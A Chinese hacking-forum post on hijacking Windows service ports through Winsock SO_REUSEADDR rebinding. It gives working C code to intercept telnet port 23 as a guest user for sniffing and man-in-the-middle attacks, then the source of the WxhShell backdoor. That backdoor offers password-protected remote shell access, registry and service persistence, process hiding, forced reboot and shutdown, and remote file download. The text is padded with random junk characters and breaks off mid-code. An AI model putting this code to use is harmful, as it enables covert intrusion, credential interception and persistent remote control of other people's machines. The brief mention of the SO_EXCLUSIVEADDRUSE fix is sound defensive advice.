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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'rZYl Qm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BB&7VSgc-  
 \^$g%a  
  saddr.sin_family = AF_INET; Fc{X$hh<  
6  XZF8W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nU{ }R"|  
`*5_`^t   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /0PBY-O  
^XsIQz[q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TC7Rw}jF  
j:)"s_  
  这意味着什么?意味着可以进行如下的攻击: [YbnpI  
|~'PEY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R/&Ev$:  
]!JUiFj"uD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K"%_q$[YQ  
'P1I-ue  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \uT2)X( N  
a^U)2{A*f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U}w,$ Y  
+K6j p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k}xXja*  
e} =tUdDf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {$,t^hd  
lr>P/W\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f~HC%C YH  
oa4{s&db-  
  #include \e89 >m  
  #include bi^[Eh  
  #include sop *?0  
  #include    qhFWQ1W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >l<`)4*H  
  int main() op\'T;xIu  
  { 3#O R fr(  
  WORD wVersionRequested; UcZ20inj0  
  DWORD ret; T1\LS*~!  
  WSADATA wsaData; !p&[:+qN  
  BOOL val; (!^i6z0Sp  
  SOCKADDR_IN saddr; E}7@?o7u}  
  SOCKADDR_IN scaddr; N- !>\n  
  int err; v}vwk8  
  SOCKET s; l70a&[W  
  SOCKET sc; avJ%J"j8z  
  int caddsize; 8`QbUQ6  
  HANDLE mt; |ia#Elavo  
  DWORD tid;   nY]5pOF:  
  wVersionRequested = MAKEWORD( 2, 2 );  `7v"(  
  err = WSAStartup( wVersionRequested, &wsaData ); WOw( -  
  if ( err != 0 ) { )Z.v fc  
  printf("error!WSAStartup failed!\n"); 3sh}(  
  return -1; 2P`Z >_  
  } :5YL!D/&  
  saddr.sin_family = AF_INET; DZ-2Z@{PX  
   [;?CO<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aYJTSgW  
t)!(s,;T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); | z 1  
  saddr.sin_port = htons(23);  I&m C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~AqFLv/%  
  { <_o).hE{  
  printf("error!socket failed!\n"); 0j}!4D+  
  return -1; ^Z dDs8j  
  } e}xx4mYo  
  val = TRUE; .paKV"LJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6cO3 6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7?U)V03  
  { pTQ70V3  
  printf("error!setsockopt failed!\n"); O,a1?_m8  
  return -1; -2o_ L?  
  } 5]-q.A5m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?@*hU2MTC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -a=RCzX]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tsYBZaH  
|^S{vub  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aEL^N0\d  
  { `(2Y%L(r  
  ret=GetLastError(); -~Ll;}nZC  
  printf("error!bind failed!\n"); ]AB<OjF1c|  
  return -1; |\# ~  
  } ,Y) 7M3I  
  listen(s,2); _Se0,Uns  
  while(1) C\3;o]  
  { W(gOid KKz  
  caddsize = sizeof(scaddr); >8v4fk IK  
  //接受连接请求 [>IV#6$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '<Fr}Cn  
  if(sc!=INVALID_SOCKET) 8M<\?JD~_f  
  { jTeHI|b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Whd\Ub8(  
  if(mt==NULL) u~]O #v  
  { uK6'TJ  
  printf("Thread Creat Failed!\n"); // k`X  
  break; ;2k!KW@  
  } o)V@|i0Js  
  } fTq/9=Rq4  
  CloseHandle(mt); EE{]EW(  
  } (C3:_cM5  
  closesocket(s); Wb1?>q  
  WSACleanup(); {Xjj-@  
  return 0; (9]8r2|.  
  }   sB~|V <  
  DWORD WINAPI ClientThread(LPVOID lpParam) H;1_"  
  { Ha)Vf+W  
  SOCKET ss = (SOCKET)lpParam; (D<_ iV  
  SOCKET sc; |ee A>z"I  
  unsigned char buf[4096]; Bn4wr  
  SOCKADDR_IN saddr; '{ $7Dbo  
  long num; aVE/qXB  
  DWORD val; *!m\%*y{  
  DWORD ret; -/g<A~+i]$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I2&R+~ktR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }!`_Bz:  
  saddr.sin_family = AF_INET; x\i+MVR-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2FE13{+f  
  saddr.sin_port = htons(23); ;%ng])w=;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 59@PY!c>  
  { S/2lK*F  
  printf("error!socket failed!\n"); CVAX?c{   
  return -1; N 4!18{/2  
  } p0|PVn.^h  
  val = 100; kgv29j?k;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ] >4CBm$  
  { Fd1t/B,  
  ret = GetLastError(); qlNB\~HCe  
  return -1; !q8"Q t  
  } M(|6YF7u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L=_   
  { W6A-/;S\  
  ret = GetLastError(); gj@>9  
  return -1; Bo4MoSF}  
  } ` 'vNHY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kM;}$*?  
  { r+W;}nyf  
  printf("error!socket connect failed!\n"); %W8*vSbx  
  closesocket(sc);  r .`&z  
  closesocket(ss); N f^6t1se  
  return -1; cHAq[Ebp2!  
  } }~+q S`  
  while(1) 8o  SL3  
  { c!ul9Cw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1G}\IK1+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [W8"Mc|ve  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kZK1{  
  num = recv(ss,buf,4096,0); KlGmO;k  
  if(num>0) mD_sf_2>  
  send(sc,buf,num,0); p6&6^v\  
  else if(num==0) "<$JU@P  
  break; aInh?-  
  num = recv(sc,buf,4096,0); \uyZl2=WWa  
  if(num>0) 0PdX>h.t  
  send(ss,buf,num,0); *v:o`{vM[  
  else if(num==0) -d]v6q'1  
  break; T!2gOe  
  } 9$WA<1PK+  
  closesocket(ss); #PGpB5vnaA  
  closesocket(sc); ( d1ho=  
  return 0 ; NcyE_T  
  } i$g6C  
\!Wph5wA  
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========================================================== ~j36(`t  
m5%E1k$=  
下边附上一个代码,,WXhSHELL TNF+yj-|X:  
,R7RXpP7t  
========================================================== l,k.Jo5  
wu;^fL  
#include "stdafx.h" M!b-;{;'  
87-z=>IU  
#include <stdio.h> w gkY \Q  
#include <string.h>  l3Wh&*0  
#include <windows.h>  *s%M!YM  
#include <winsock2.h> 5,#aN}v#?  
#include <winsvc.h> 9zNMv-  
#include <urlmon.h> APv& ^\oUH  
Rebo.6rG  
#pragma comment (lib, "Ws2_32.lib") G\B:iyKl  
#pragma comment (lib, "urlmon.lib") Vif)e4{Pn  
~93#L_V_O  
#define MAX_USER   100 // 最大客户端连接数 bcUa'ZfN<  
#define BUF_SOCK   200 // sock buffer ?hOv Y)  
#define KEY_BUFF   255 // 输入 buffer `s\E"QeZN  
@^t1SPp  
#define REBOOT     0   // 重启  bE%*ZB  
#define SHUTDOWN   1   // 关机 1UN$eb7  
Jl fIYf~  
#define DEF_PORT   5000 // 监听端口 *Xk gwJq  
Dq<!wtFG[  
#define REG_LEN     16   // 注册表键长度 qpX`Z Y^  
#define SVC_LEN     80   // NT服务名长度 jJK@i\bU_  
gJJBRn{MI  
// 从dll定义API u a_(wBipy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RwoAZ]Zg]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mc|8t0+1`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L rhQG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >@.:9}Z  
ZJOO*S  
// wxhshell配置信息 )P#xny2  
struct WSCFG { xsRu~'f  
  int ws_port;         // 监听端口 uC5W1LyI  
  char ws_passstr[REG_LEN]; // 口令 |6w {%xC?"  
  int ws_autoins;       // 安装标记, 1=yes 0=no bI:cYn1  
  char ws_regname[REG_LEN]; // 注册表键名 ,h },jkY4  
  char ws_svcname[REG_LEN]; // 服务名 \os"j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1v'|%B;O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K}!YXy h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XSktb k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L YMb)=u]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I6Oc`S!L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0F%V+Y\R  
0GcOI}  
}; K{`3,U2Wx  
 <xwaFZ  
// default Wxhshell configuration hOr4C4  
struct WSCFG wscfg={DEF_PORT, <(x!P=NM-  
    "xuhuanlingzhe", nzl3<Ar  
    1, :Y[?@/m4  
    "Wxhshell", xX\A& 9m  
    "Wxhshell", w!/|aZ~*  
            "WxhShell Service", x-H R[{C  
    "Wrsky Windows CmdShell Service", %!V=noo  
    "Please Input Your Password: ", g*$yUt  
  1, RsnFjfb'  
  "http://www.wrsky.com/wxhshell.exe", wQrD(Dv(yA  
  "Wxhshell.exe" wyUfmk_}  
    }; : G0^t  
FK,Jk04on  
// 消息定义模块 DX<xkS[P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;s w3MRJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'ExTnv ~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pTE.,~-J^j  
char *msg_ws_ext="\n\rExit."; ke5_lr(  
char *msg_ws_end="\n\rQuit."; %VGQ{:  
char *msg_ws_boot="\n\rReboot..."; T#=&oy7  
char *msg_ws_poff="\n\rShutdown..."; Wq/0}W.  
char *msg_ws_down="\n\rSave to "; ($s%B  
%s#`Z [8,  
char *msg_ws_err="\n\rErr!"; M6*8}\  
char *msg_ws_ok="\n\rOK!"; 4/QQX;w  
-3Auo0  
char ExeFile[MAX_PATH]; y9-}LET3j  
int nUser = 0; Wf9K+my  
HANDLE handles[MAX_USER]; kg()C%#u  
int OsIsNt; |&\cr\T\r  
l1D"*J 2`  
SERVICE_STATUS       serviceStatus; DTM xfQdk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h 7*#;j  
F1b~S;lm  
// 函数声明 Ku;8Mx{  
int Install(void); 'Q4V(.   
int Uninstall(void); rtk1 8U-  
int DownloadFile(char *sURL, SOCKET wsh); j(`V& S  
int Boot(int flag); jWerX -$  
void HideProc(void); Yf[GpSej  
int GetOsVer(void); IjrjLp[z$  
int Wxhshell(SOCKET wsl); 1" #W1im  
void TalkWithClient(void *cs); Y%YPR=j~ &  
int CmdShell(SOCKET sock); |3uE"\nfA  
int StartFromService(void); e(EXQP2P>  
int StartWxhshell(LPSTR lpCmdLine); Jk=d5B  
E@S5|CM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )jaNFJ 3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0?\d%J!"S  
4e9'yi  
// 数据结构和表定义 \I~9%QJ>  
SERVICE_TABLE_ENTRY DispatchTable[] = TDjjaO  
{ ?G$X 4KY6`  
{wscfg.ws_svcname, NTServiceMain}, tCbn B  
{NULL, NULL} I cz) Qtg|  
}; D>I|(B!.p8  
>Wr  
// 自我安装 DX4"}w  
int Install(void) he1OLk  
{ I,YP{H4  
  char svExeFile[MAX_PATH]; U\`H0'  
  HKEY key; O{44GB3  
  strcpy(svExeFile,ExeFile); 2F fwct:  
2a[_^v $v  
// 如果是win9x系统,修改注册表设为自启动 6>; dJV  
if(!OsIsNt) { x2 m A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '3V?M;3|K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o_DZ  
  RegCloseKey(key); "T'?Ah6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 Ll<^P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {;Ispx0m  
  RegCloseKey(key); cb9q0sdf  
  return 0; Q.`O;D}x  
    } K)8N8Js(  
  } 4f{(Scg  
} O(Vi/r2:e  
else { } l4d/I  
*WX,bN6Ot  
// 如果是NT以上系统,安装为系统服务 d&[.=M\E8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ex3V[v+D(  
if (schSCManager!=0) K#oF=4_/|  
{ *Zi:^<hv  
  SC_HANDLE schService = CreateService x1nqhSaD  
  ( c=A)_ZFg  
  schSCManager, z4[S02s  
  wscfg.ws_svcname, %$.]g  
  wscfg.ws_svcdisp, 9t^Q_[hG  
  SERVICE_ALL_ACCESS, KgMW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vTF_`X  
  SERVICE_AUTO_START, kqie|_y  
  SERVICE_ERROR_NORMAL, ; \N${YIn  
  svExeFile, 6Y(Vs>  
  NULL, 0(~,U!g[=  
  NULL, 3-Xc3A=w  
  NULL, C!r9+z)<  
  NULL, nkvkHh  
  NULL _& qM^  
  ); {=GWQn6cc  
  if (schService!=0) fb||q-E  
  { %T:7I[f  
  CloseServiceHandle(schService); }v?_.MtS  
  CloseServiceHandle(schSCManager); G~;hD-D~.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L?gak@E  
  strcat(svExeFile,wscfg.ws_svcname); *K1GX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zIjUfgO/M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]Y@ia]x&P  
  RegCloseKey(key); NiTLQ"~e  
  return 0; (`pd>  
    } -8r9DS -/W  
  } L_WVTz?`  
  CloseServiceHandle(schSCManager); G[=8Ko0U+n  
} nQW`X=Ku  
} M&5;Qeoiv  
y8.(filNB  
return 1; ,awp)@VG7  
} CH/*MA  
<M4Qc12jP  
// 自我卸载 KoPhPH  
int Uninstall(void) (}C%g{8  
{ xRx8E;Q@h?  
  HKEY key;  EL[N%M3  
9 O/l{  
if(!OsIsNt) { M;i4ss,}!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z a^s%^:yK  
  RegDeleteValue(key,wscfg.ws_regname); N7`<t&T@  
  RegCloseKey(key); :6Q`! in  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N<54_(|X  
  RegDeleteValue(key,wscfg.ws_regname); mVBF2F<4  
  RegCloseKey(key); 0$9I.%4jAJ  
  return 0; 5c~OG6COx  
  } FOU^Wcop%  
} mjd9]HgN  
} K(M@#t1_&  
else { &sRjs  
V\V:uo(C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ] EzX$T  
if (schSCManager!=0) ?/,sKF74i  
{ m8|&z{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H' [#x2  
  if (schService!=0) +|w-1&-  
  { +I+7@XiZ  
  if(DeleteService(schService)!=0) { *\i<+~I@l  
  CloseServiceHandle(schService); /}Z0\ ,  
  CloseServiceHandle(schSCManager); - :0{  
  return 0; lTh}0t  
  } |H)WJ/`  
  CloseServiceHandle(schService); N8>;BHBV!  
  } ktr l|  
  CloseServiceHandle(schSCManager); Hlw0i a  
} v<`1z?dch  
} EQ j2:9f  
f V|Zh  
return 1; GoGo@5n(Z  
} i*JbFukG  
Q7]VB p4  
// 从指定url下载文件 wb>>bV+U  
int DownloadFile(char *sURL, SOCKET wsh) ;b""N,  
{ myj^c>1Iz  
  HRESULT hr; U 6y ;V  
char seps[]= "/"; ?'_Q^O>  
char *token; Y(D@B|"'m  
char *file; #]yb;L  
char myURL[MAX_PATH]; h%Nbx:vKk  
char myFILE[MAX_PATH]; 7b2N'^z}  
(/c&#W  
strcpy(myURL,sURL); @'Er&[P  
  token=strtok(myURL,seps); C<.t'|  
  while(token!=NULL) 7b_Ihv   
  { qR~s&SC#  
    file=token; TT429  
  token=strtok(NULL,seps); &S.zc@rN  
  }  (BgO<  
%EuXL% B  
GetCurrentDirectory(MAX_PATH,myFILE); od- 0wJN-m  
strcat(myFILE, "\\"); aQ ~  
strcat(myFILE, file); c{Ax{-'R  
  send(wsh,myFILE,strlen(myFILE),0); 2S1wL<qP  
send(wsh,"...",3,0); 2 AZ[gr@c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~67L  
  if(hr==S_OK) MR90}wXE  
return 0; 4=H/-v'&  
else ;mXr])J  
return 1; /:a~;i  
4ifWNL^)  
} 7CGKm8T  
LDL#*g  
// 系统电源模块 Kl[WscR  
int Boot(int flag) /hue]ZaQq  
{ *R*Tmo"  
  HANDLE hToken; Ah_'.r1<P9  
  TOKEN_PRIVILEGES tkp; #]ii/Et#x  
Riq5Au?*)  
  if(OsIsNt) { I3xx}^V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :8;8-c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a#=GLB_P(  
    tkp.PrivilegeCount = 1; f8E S GU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m7 !Fb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q:]F* p2  
if(flag==REBOOT) { 1anV!&a<K(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {Ex0mw)T  
  return 0; P X](hc=  
} _4z>I/R>Z  
else { K<b -|t9f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zxCxGT\;  
  return 0; nTSGcMI  
} %D z|p]49!  
  } %ma1LN[  
  else { XcA4EBRj  
if(flag==REBOOT) { @:i>q$aF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J=/|iW  
  return 0; j0sR]i  
} voaRh@DZ%/  
else { F!VC19<1O8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ushQWP)  
  return 0; t=~5 I >  
} nTj Q4y  
} .1MXQLy  
|pr~Ohz  
return 1; 0[0</"K%1m  
} AKM\1H3U  
&adKKYN  
// win9x进程隐藏模块 hHoc7  
void HideProc(void) #]I:}Q51  
{ B$Jn|J"/6  
K/Axojo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G7C9FV bR  
  if ( hKernel != NULL ) +v&+8S`+  
  { R+Ke|C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l\5qa_{z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mxjY-Kq  
    FreeLibrary(hKernel); ltHC+8 aZ  
  } udg;jR-^  
:$[m[y7i  
return; ?S!lX[#v  
} 2P9hx5PiV  
NS=puo  
// 获取操作系统版本 9F k wtF  
int GetOsVer(void) b/]C, P  
{ FFH-Kw,  
  OSVERSIONINFO winfo; CQsVGn{x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dvsOJj/b  
  GetVersionEx(&winfo); wmY6&^?uS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0_Etm83Wq6  
  return 1; dW!T.S  
  else Jx_ OT C  
  return 0; hW>@jT"t1C  
} Kd;|Z  
qX:54$t  
// 客户端句柄模块 9ZG.%+l  
int Wxhshell(SOCKET wsl) P 2;j>=W  
{ ~z>2`^Z"  
  SOCKET wsh; R^dAwt`.D  
  struct sockaddr_in client; !e.@Xk.P6  
  DWORD myID; &e_M \D  
yXrFH@3  
  while(nUser<MAX_USER) hig^ovF  
{ =5^L_, 4c2  
  int nSize=sizeof(client); a+zE`uY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K*;=^PY  
  if(wsh==INVALID_SOCKET) return 1; ksm=<I"C  
EEn}Gw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H*yX Iq:  
if(handles[nUser]==0) F:IG3 @  
  closesocket(wsh); HnioB=fc  
else |,t#Au}61  
  nUser++; fVo)# Bj  
  } Y.F:1<FAtf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sxnj`z  
Tp[ub(/;7  
  return 0; ]O7I7K  
} <8r%_ ']  
33[2$FBf  
// 关闭 socket wvJm)Mj+  
void CloseIt(SOCKET wsh) O,9KhX+  
{ b V;R}3)  
closesocket(wsh); O>|Q Zd  
nUser--; A#2 Fd7&  
ExitThread(0); n`0}g_\q  
} 3boINmX  
+Medu?K `  
// 客户端请求句柄 |nz,srr~  
void TalkWithClient(void *cs) 398}a!XM  
{ gjL>FOe8u  
lXW.G  
  SOCKET wsh=(SOCKET)cs; WZ@nuK.39T  
  char pwd[SVC_LEN]; *"O7ml]  
  char cmd[KEY_BUFF]; ./[%%"  
char chr[1]; cRT@Cu  
int i,j; 2@:Go`mg  
5"^$3&)  
  while (nUser < MAX_USER) { 6/.-V1*O  
?$pp%  
if(wscfg.ws_passstr) { Bz9!a k~4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8_8 R$ =V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?J6J#{LRd  
  //ZeroMemory(pwd,KEY_BUFF); Z!~~6Sq  
      i=0; CdatN$/*  
  while(i<SVC_LEN) { &'c1"%*%8>  
>UZfi u  
  // 设置超时 m}Kn!21  
  fd_set FdRead; 5RI"g f  
  struct timeval TimeOut; !95ZK.UT  
  FD_ZERO(&FdRead); 5R/k -h^`  
  FD_SET(wsh,&FdRead); a0CmCv2#  
  TimeOut.tv_sec=8; ArbfA~jXB  
  TimeOut.tv_usec=0; cZZ-K?_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ISa2|v;M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6*GY%~JbD  
/*`u(d2g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @FdtM<X  
  pwd=chr[0]; Ngi$y>{Sq  
  if(chr[0]==0xd || chr[0]==0xa) { k[gO>UGB;  
  pwd=0; l`~*" 4|/  
  break; u z4P  
  } 6i(nyA 2!  
  i++; B;2os^*  
    } HKb8z@;%@  
^6Hfq^ejt  
  // 如果是非法用户,关闭 socket yFH)PQ_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &#w] 2~|  
} N'i%9SBcg  
2"c $#N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a~9U{)@F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hcWkAR  
37T<LU  
while(1) { >j|.pi  
9`$fU)K[Pl  
  ZeroMemory(cmd,KEY_BUFF); }tua0{N:z  
MHpPb{ ^  
      // 自动支持客户端 telnet标准   1ePZs$  
  j=0; l~!\<, !  
  while(j<KEY_BUFF) { liA)|.H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SQ1.jcWW[  
  cmd[j]=chr[0]; k/u6Cw0/  
  if(chr[0]==0xa || chr[0]==0xd) { o;D87E6Z  
  cmd[j]=0; zVd2kuI&?  
  break; U_wn/wcLS  
  } >hJ$~4?  
  j++; |K,9EM3  
    } &Op, ?\   
vjhd|  
  // 下载文件 u-qg9qXJb  
  if(strstr(cmd,"http://")) { _b&Mrd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J;Xh{3[vO  
  if(DownloadFile(cmd,wsh)) *[wy- fu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M-e!F+d{od  
  else *}-X '_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I_6?Q^_uZ  
  } <_dyUiT$J  
  else { 4askQV &hj  
(/a2#iW  
    switch(cmd[0]) { N&]v\MjI62  
  SsIy;l  
  // 帮助 <%8j#@OdZ  
  case '?': { cuO(*%Is1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9gZMfP  
    break; C},;M @xV  
  } w-C ~ Ik  
  // 安装 TUw^KSa  
  case 'i': { u}\F9~W-{  
    if(Install()) aEo!yea  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o8-BTq8  
    else ] QGYEjW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wc* 5s7_  
    break; j&6,%s-M`a  
    } mS p -  
  // 卸载 '_lyoVP  
  case 'r': { zH0%; o}  
    if(Uninstall()) [ >O4hifq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9z$]hl  
    else Z3g6 ?2w6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z\Rs?v"  
    break; 3l_Ko %qS  
    } `MA ee8u'  
  // 显示 wxhshell 所在路径 J*o :RnB  
  case 'p': { DJ_,1F  
    char svExeFile[MAX_PATH]; # =V%S 2~  
    strcpy(svExeFile,"\n\r"); I= G%r/3  
      strcat(svExeFile,ExeFile); u_;*Ay  
        send(wsh,svExeFile,strlen(svExeFile),0); MUhC6s\F  
    break; m4b fW  
    } h$F;=YS   
  // 重启 o@>{kzCx  
  case 'b': { / *RDy!m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7g[m,48{  
    if(Boot(REBOOT)) >6*"g{/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }zY)H9J~  
    else { #s$b\"4  
    closesocket(wsh); 1P#bR`I >  
    ExitThread(0); 1L]7*NJe  
    } 3~z4#8=  
    break; G~1#kg  
    } P~Q5d&1SO  
  // 关机 7-6Z\.-  
  case 'd': { &$?e D{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  _CY>45  
